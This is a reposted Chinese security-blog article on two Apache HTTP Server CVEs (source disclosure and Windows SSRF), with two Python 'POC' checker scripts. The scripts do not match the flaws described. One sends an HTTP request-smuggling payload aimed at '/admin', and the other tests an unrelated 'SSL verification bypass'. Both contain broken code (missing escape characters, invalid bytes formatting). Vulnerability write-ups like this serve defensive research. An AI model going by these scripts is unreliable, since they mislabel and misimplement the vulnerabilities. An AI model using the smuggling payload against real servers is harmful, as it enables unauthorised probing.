CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

admin 2024年8月4日09:47:33评论71 views字数 2914阅读9分42秒阅读模式

0x00 前言

Apache HTTP Server(简称Apache),是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其具有的跨平台性和安全性,被广泛使用,是最流行的Web服务器端软件之一。

Apache HTTP Server的特点是简单、速度快、性能稳定、安全可靠,可通过简单的API进行扩展,并且集成了Perl、Python等语言解释器。

0x01 漏洞描述

ap_set_content_type_ex 函数用于设置请求的 content-type。
受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x02 CVE编号

CVE-2024-40898:Apache HTTP Server on Windows SSRF漏洞

若在服务器或虚拟主机环境中使用 mod_rewrite 模块,存在服务器端请求伪造(SSRF)漏洞。该漏洞可能允许攻击者通过 SSRF 和恶意请求泄露 NTLM 哈希值到恶意服务器。

CVE-2024-40725:Apache HTTP Server 源代码泄露漏洞

ap_set_content_type_ex 函数用于设置请求的 content-type。
受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x03 影响版本

http_server@[2.4.60, 2.4.62)
apache2@影响所有版本

0x04 漏洞详情

漏洞检查工具:

https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898

CVE-2024-40725.py

import requestsimport argparse

def detect_http_request_smuggling(target_url):    """    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞

    :param target_url: 目標伺服器的 URL    """    # 構造 HTTP Request Smuggling 攻擊請求    smuggled_request = (        "POST / HTTP/1.1rn"        "Host: {}rn"        "Content-Length: 0rn"        "Transfer-Encoding: chunkedrn"        "rn"        "0rnrn"        "GET /admin HTTP/1.1rn"        "Host: {}rn"        "User-Agent: smuggle-testrn"        "rn"    ).format(target_url, target_url)

    try:        # 發送請求到目標伺服器        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)

        # 判斷回應是否表示存在漏洞        if response.status_code == 200 and "admin" in response.text:            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")        else:            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")    except Exception as e:        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')    args = parser.parse_args()    detect_http_request_smuggling(args.url)

CVE-2024-40898 .py

import sslimport socketimport argparse

def detect_ssl_verification_bypass(target_host, target_port):    """    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標伺服器的主機名或 IP 地址    :param target_port: 目標伺服器的端口號    """    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)    context.verify_mode = ssl.CERT_OPTIONAL

    try:        # 連接目標伺服器        with socket.create_connection((target_host, target_port)) as sock:            with context.wrap_socket(sock, server_hostname=target_host) as ssock:                ssock.sendall(b"HEAD / HTTP/1.1rnHost: {}rnrn".format(target_host.encode()))                response = ssock.recv(4096)

                # 判斷回應是否表示存在漏洞                if b"200 OK" in response:                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")                else:                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")    except Exception as e:        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')    args = parser.parse_args()

    # 分割主機名和端口號    target_host, target_port = args.url.split(":")    detect_ssl_verification_bypass(target_host, int(target_port))

0x05 参考链接

https://httpd.apache.org/download.cgi

https://httpd.apache.org/security/vulnerabilities_24.html

原文始发于微信公众号(信安百科):CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月4日09:47:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)https://cn-sec.com/archives/3032252.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息